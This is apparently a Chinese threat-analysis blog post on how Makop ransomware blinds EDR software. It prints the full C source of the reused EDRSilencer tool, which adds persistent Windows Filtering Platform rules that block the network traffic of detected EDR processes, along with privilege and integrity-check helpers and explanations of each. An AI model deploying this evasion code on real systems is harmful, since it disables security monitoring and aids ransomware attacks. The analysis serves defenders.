07:47:57 阅读量:46

【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第二篇-流量致盲,无声突破

#勒索病毒 #流量致盲 #EDR

引言:在之前的文章中,我们提到,尽管许多企业已经部署了众多安全设备和备份解决方案,并建立了相对成熟的安全运营体系,但在如此复杂的网络环境中,依然存在漏洞,导致黑客成功发起勒索加密攻击,最终造成业务瘫痪。通过对加密样本的提取和分析,我们识别出黑客使用了一些隐蔽的攻击手法,如Killav和致盲等,这些技术成功绕过了现有的安全防护,未能及时被检测到。上篇文章我们讲解了黑客如何利用漏洞驱动Kill AV攻击的全流程,本篇文章将探讨解析如何配合驱动进行流量致盲,从而使部署的EDR无感地执行加密,导致机器被加密,下一篇则将讨论黑客如何隐秘的加载shellcode的手法,敬请期待!

模拟客户网络拓扑环境

1.背景

1.1家族介绍

关于Makop家族信息详情可参考本篇文章

1.2终端检测与响应(EDR)测试结果

通过技术手段捕获Makop家族的程序后,我们第一时间对国内外主流的防病毒软件(AV)和终端检测与响应(EDR)系统进行了测试,发现该程序能够成功地进行流量致盲从而使部署EDR无感检测就被执行了加密,具体测试结果如下:

EDR未检测,加密器成功加密

EDR后台无告警信息

2.流量致盲对抗EDR

拖入ida,发现字符串未删除

通过搜索发现使用了https://github.com/netero1010/EDRSilencer项目,通过拦截edr流量以此来达到致盲edr。

2.1阻止进程流量函数

void BlockEdrProcessTraffic() {
    DWORD result = 0;
    HANDLE hEngine = NULL;
    HANDLE hProcessSnap = NULL;
    HANDLE hModuleSnap = NULL;
    PROCESSENTRY32 pe32 = {0};
    BOOL isEdrDetected = FALSE;

    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
    if (result != ERROR_SUCCESS) {
        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
        return;
    }
   
    EnableSeDebugPrivilege();

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x.\n", GetLastError());
        return;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        printf("[-] Process32First failed with error code: 0x%x.\n", GetLastError());
        CloseHandle(hProcessSnap);
        return;
    }

    do {
        if (isInEdrProcessList(pe32.szExeFile)) {
            isEdrDetected = TRUE;
            printf("Detected running EDR process: %s (%d):\n", pe32.szExeFile, pe32.th32ProcessID);
            // Get full path of the running process
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
            if (hProcess) {
                WCHAR fullPath[MAX_PATH] = {0};
                DWORD size = MAX_PATH;
                FWPM_FILTER_CONDITION0 cond = {0};
                FWPM_FILTER0 filter = {0};
                FWPM_PROVIDER0 provider = {0};
                GUID providerGuid = {0};
                FWP_BYTE_BLOB* appId = NULL;
                UINT64 filterId = 0;
                ErrorCode errorCode = CUSTOM_SUCCESS;
                
                QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
                errorCode = CustomFwpmGetAppIdFromFileName0(fullPath, &appId);
                if (errorCode != CUSTOM_SUCCESS) {
                    switch (errorCode) {
                        case CUSTOM_FILE_NOT_FOUND:
                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", fullPath);
                            break;
                        case CUSTOM_MEMORY_ALLOCATION_ERROR:
                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", fullPath);
                            break;
                        case CUSTOM_NULL_INPUT:
                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", fullPath);
                            break;
                        case CUSTOM_DRIVE_NAME_NOT_FOUND:
                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", fullPath);
                            break;
                        case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME:
                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", fullPath);
                            break;
                        default:
                            break;
                    }
                    CloseHandle(hProcess);
                    continue;
                } 

                // Sett up WFP filter and condition
                filter.displayData.name = filterName;
                filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
                filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
                filter.action.type = FWP_ACTION_BLOCK;
                UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
                filter.weight.type = FWP_UINT64;
                filter.weight.uint64 = &weightValue;
                cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
                cond.matchType = FWP_MATCH_EQUAL;
                cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
                cond.conditionValue.byteBlob = appId;
                filter.filterCondition = &cond;
                filter.numFilterConditions = 1;

                 // Add WFP provider for the filter
                if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
                    filter.providerKey = &providerGuid;
                } else {
                    provider.displayData.name = providerName;
                    provider.displayData.description = providerDescription;
                    provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
                    result = FwpmProviderAdd0(hEngine, &provider, NULL);
                    if (result != ERROR_SUCCESS) {
                        printf("    [-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
                    } else {
                        if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
                            filter.providerKey = &providerGuid;
                        }
                    }
                }

                // Add filter to both IPv4 and IPv6 layers
                result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
                if (result == ERROR_SUCCESS) {
                    printf("    Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
                } else {
                    printf("    [-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
                }
                
                filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
                result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
                if (result == ERROR_SUCCESS) {
                    printf("    Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
                } else {
                    printf("    [-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
                }

                FreeAppId(appId);
                CloseHandle(hProcess);
            } else {
                printf("    [-] Could not open process \"%s\" with error code: 0x%x.\n", pe32.szExeFile, GetLastError());
            }
        }
    } while (Process32Next(hProcessSnap, &pe32));

    if (!isEdrDetected) {
        printf("[-] No EDR process was detected. Please double check the edrProcess list or add the filter manually using 'block' command.\n");
    }
    CloseHandle(hProcessSnap);
    FwpmEngineClose0(hEngine);
    return;
}

它的主要功能是通过 Windows 防火墙平台(WFP)来监控和阻止指定的 EDR(Endpoint Detection and Response)进程的网络连接。具体步骤如下:

  1. 打开 WFP 引擎:使用 FwpmEngineOpen0 打开 WFP 引擎。如果打开失败,打印错误并退出。

  2. 获取进程列表:通过 CreateToolhelp32Snapshot 获取系统中所有进程的快照,并使用 Process32First 和 Process32Next 遍历每个进程。

  3. 检测 EDR 进程:对于每个进程,检查其名称是否在预定义的 EDR 进程列表中(通过 isInEdrProcessList 函数)。如果检测到 EDR 进程,则执行以下操作:

    • 打印进程名称和 PID。
    • 获取该进程的完整路径,并通过 CustomFwpmGetAppIdFromFileName0 获取该进程的 App ID(应用程序 ID)。如果获取失败,打印错误信息并继续处理下一个进程。
  4. 创建 WFP 过滤器:

    • 配置 WFP 过滤器的条件,基于进程的 App ID 来匹配。
    • 设置 WFP 过滤器的动作为 FWP_ACTION_BLOCK,即阻止匹配条件的网络连接。
    • 为 IPv4 和 IPv6 两个网络层添加该过滤器,阻止 EDR 进程的网络流量。
  5. 添加 WFP 提供程序:如果没有已知的 WFP 提供程序 GUID,则创建一个新的 WFP 提供程序,并将其与过滤器关联。

  6. 关闭资源:处理完所有进程后,关闭进程快照句柄和 WFP 引擎。

  7. 错误处理:整个过程中,如果发生任何错误(例如,打开进程失败、添加过滤器失败等),都会打印详细的错误信息。

2.2恢复函数

void UnblockAllWfpFilters() {
    HANDLE hEngine = NULL;
    DWORD result = 0;
    HANDLE enumHandle = NULL;
    FWPM_FILTER0** filters = NULL;
    GUID providerGuid = {0};
    UINT32 numFilters = 0;
    BOOL foundFilter = FALSE;
    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
    if (result != ERROR_SUCCESS) {
        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
        return;
    }

    result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle);
    if (result != ERROR_SUCCESS) {
        printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x.\n", result);
        return;
    }

    while(TRUE) {
        result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters);

        if (result != ERROR_SUCCESS) {
            printf("[-] FwpmFilterEnum0 failed with error code: 0x%x.\n", result);
            FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
            FwpmEngineClose0(hEngine);
            return;
        }

        if (numFilters == 0) {
                        break;
        }
        
        FWPM_DISPLAY_DATA0 *data = &filters[0]->displayData;
        WCHAR* currentFilterName = data->name;
        if (wcscmp(currentFilterName, filterName) == 0) {
            foundFilter = TRUE;
            UINT64 filterId = filters[0]->filterId;
            result = FwpmFilterDeleteById0(hEngine, filterId);
            if (result == ERROR_SUCCESS) {
                printf("Deleted filter id: %llu.\n", filterId);
            } else {
                printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result);
            }
        }
    }

    if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
        result = FwpmProviderDeleteByKey0(hEngine, &providerGuid);
        if (result != ERROR_SUCCESS) {
            if (result != FWP_E_IN_USE) {
                printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result);
            }
        } else {
            printf("Deleted custom WFP provider.\n");
        }
    }

    if (!foundFilter) {
        printf("[-] Unable to find any WFP filter created by this tool.\n");
    }
    FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
    FwpmEngineClose0(hEngine);
}

打开 WFP 引擎 (FwpmEngineOpen0):

  • 调用 FwpmEngineOpen0 打开 WFP 引擎。如果打开失败,则打印错误代码并退出。

创建过滤器枚举句柄 (FwpmFilterCreateEnumHandle0):

  • 调用 FwpmFilterCreateEnumHandle0 创建一个过滤器枚举句柄,这个句柄用于遍历当前系统中所有的 WFP 过滤器。如果创建枚举句柄失败,则打印错误信息并退出。

枚举过滤器 (FwpmFilterEnum0):

  • 通过 FwpmFilterEnum0 获取系统中已存在的过滤器。每次调用 FwpmFilterEnum0 都会枚举一个或多个过滤器。这里的 1 表示每次枚举一个过滤器,返回的 filters 是过滤器数组,numFilters 表示返回的过滤器数量。
  • 如果调用失败,打印错误代码并退出。如果没有更多的过滤器(即 numFilters == 0),则退出循环。

检查并删除特定的过滤器:

  • 在循环中,对于每个枚举的过滤器,检查其名称是否与 filterName 匹配。如果匹配:

    • 设置 foundFilter 为 TRUE,表示找到了要删除的过滤器。
    • 获取过滤器的 filterId,并使用 FwpmFilterDeleteById0 删除该过滤器。如果删除成功,打印成功消息;否则,打印失败的错误信息。

删除 WFP 提供程序 (FwpmProviderDeleteByKey0):

  • 如果成功获取到提供程序的 GUID(通过 GetProviderGUIDByDescription),则使用 FwpmProviderDeleteByKey0 删除相应的 WFP 提供程序。如果删除失败,检查是否是由于该提供程序仍在使用(FWP_E_IN_USE),如果是其他错误,则打印错误代码。

处理未找到过滤器的情况:

  • 如果遍历所有过滤器后未找到符合条件的过滤器,则打印未找到过滤器的消息。

清理资源:

  • 通过 FwpmFilterDestroyEnumHandle0 销毁过滤器枚举句柄,并通过 FwpmEngineClose0 关闭 WFP 引擎,释放资源。

2.3鉴权函数

BOOL CheckProcessIntegrityLevel() {
    HANDLE hToken = NULL;
    DWORD dwLength = 0;
    PTOKEN_MANDATORY_LABEL pTIL = NULL;
    DWORD dwIntegrityLevel = 0;
    BOOL isHighIntegrity = FALSE;

    if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) {
        if (GetLastError() != ERROR_NO_TOKEN) {
            printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
            return FALSE;
        }

        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
            printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
            return FALSE;
        }
    }

    // Get the size of the integrity level information
    if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength) && 
        GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
        printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }

    pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength);
    if (pTIL == NULL) {
        printf("[-] LocalAlloc failed with error code: 0x%x.\n", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }

    if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) {
        printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
        LocalFree(pTIL);
        CloseHandle(hToken);
        return FALSE;
    }

    if (pTIL->Label.Sid == NULL || *GetSidSubAuthorityCount(pTIL->Label.Sid) < 1) {
        printf("[-] SID structure is invalid.\n");
        LocalFree(pTIL);
        CloseHandle(hToken);
        return FALSE;
    }
        
    dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));

    if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
        isHighIntegrity = TRUE;
    } else {
        printf("[-] This program requires to run in high integrity level.\n");
    }

    LocalFree(pTIL);
    CloseHandle(hToken);
    return isHighIntegrity;
}

获取进程/线程的访问令牌 (OpenThreadToken 和 OpenProcessToken):

  • 首先,代码尝试使用 OpenThreadToken 获取当前线程的访问令牌。如果当前线程没有令牌(即返回错误代码 ERROR_NO_TOKEN),则尝试使用 OpenProcessToken 获取当前进程的访问令牌。
  • 如果都失败,程序会打印错误信息并返回 FALSE,表示无法获取令牌。

获取令牌的完整性级别信息 (GetTokenInformation):

  • 调用 GetTokenInformation 来查询访问令牌中的完整性级别信息。首先,调用时传入 NULL 参数并获取所需的缓冲区大小(dwLength),如果返回值是 ERROR_INSUFFICIENT_BUFFER,表示缓冲区大小不足,接着分配足够的内存。
  • 使用 GetTokenInformation 获取完整性级别信息并存储到 pTIL(PTOKEN_MANDATORY_LABEL 类型)中。如果获取失败,打印错误信息并返回 FALSE。

验证完整性级别的有效性:

  • 完整性级别是通过令牌中的 SID(安全标识符)获取的。通过 GetSidSubAuthorityCount 和 GetSidSubAuthority 获取 SID 中的完整性级别信息。
  • 如果 SID 无效(例如为空或没有子授权),代码会打印错误信息并返回 FALSE。

判断完整性级别:

  • 通过获取的完整性级别与常量 SECURITY_MANDATORY_HIGH_RID 进行比较,来判断当前进程是否具有“高完整性”级别。这个常量通常表示高权限进程(如管理员权限、系统进程等)。
  • 如果完整性级别大于或等于 SECURITY_MANDATORY_HIGH_RID,则认为当前进程具有高完整性,设置 isHighIntegrity 为 TRUE。

释放资源和关闭句柄:

  • 代码在操作完成后通过 LocalFree 释放分配的内存,并通过 CloseHandle 关闭打开的令牌句柄。

返回值:

  • 最后,返回 isHighIntegrity 变量,指示当前进程或线程是否在高完整性级别上运行。

2.4提权函数

BOOL EnableSeDebugPrivilege() {
        HANDLE hToken = NULL;
        TOKEN_PRIVILEGES tokenPrivileges = {0};
        
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, TRUE, &hToken)) {
        if (GetLastError() != ERROR_NO_TOKEN) {
            printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
            return FALSE;
        }

        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
            printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
            return FALSE;
        }
    }

        if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tokenPrivileges.Privileges[0].Luid)){
        printf("[-] LookupPrivilegeValueA failed with error code: 0x%x.\n", GetLastError());
                CloseHandle(hToken);
                return FALSE;
        }

        tokenPrivileges.PrivilegeCount = 1;
        tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        printf("[-] AdjustTokenPrivileges failed with error code: 0x%x.\n", GetLastError());
                CloseHandle(hToken);
                return FALSE;
        }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
        printf("[-] Failed to get SeDebugPrivilege. You might not be able to get the process handle of the EDR process.\n");
                CloseHandle(hToken);
                return FALSE;
    }

        CloseHandle(hToken);
        return TRUE;
}
  1. 打开访问令牌:

    • 尝试打开当前线程的令牌;若失败,再尝试打开当前进程的令牌。
  2. 查找 SeDebugPrivilege 权限:

    • 使用 LookupPrivilegeValueA 查找 SeDebugPrivilege 的 LUID。
  3. 启用权限:

    • 调用 AdjustTokenPrivileges 启用 SeDebugPrivilege 权限。
  4. 检查是否启用成功:

    • 如果权限没有成功启用,返回 FALSE 并输出错误。
  5. 返回结果:

    • 如果权限启用成功,返回 TRUE。

3.总结

通过利用Windows的防火墙平台(WFP)来阻止指定的EDR(端点检测与响应)进程的网络流量,从而达到“致盲”EDR的效果。首先,它会扫描系统中的所有进程,并检查是否有已知的EDR进程。如果发现EDR进程,它会获取该进程的路径和AppID,然后通过WFP创建过滤规则,阻止该进程的网络连接,确保EDR无法监控到恶意行为。这种方式被恶意软件用来规避EDR监控,隐藏攻击活动。恢复函数则会撤销这些过滤规则,恢复网络流量的正常传输。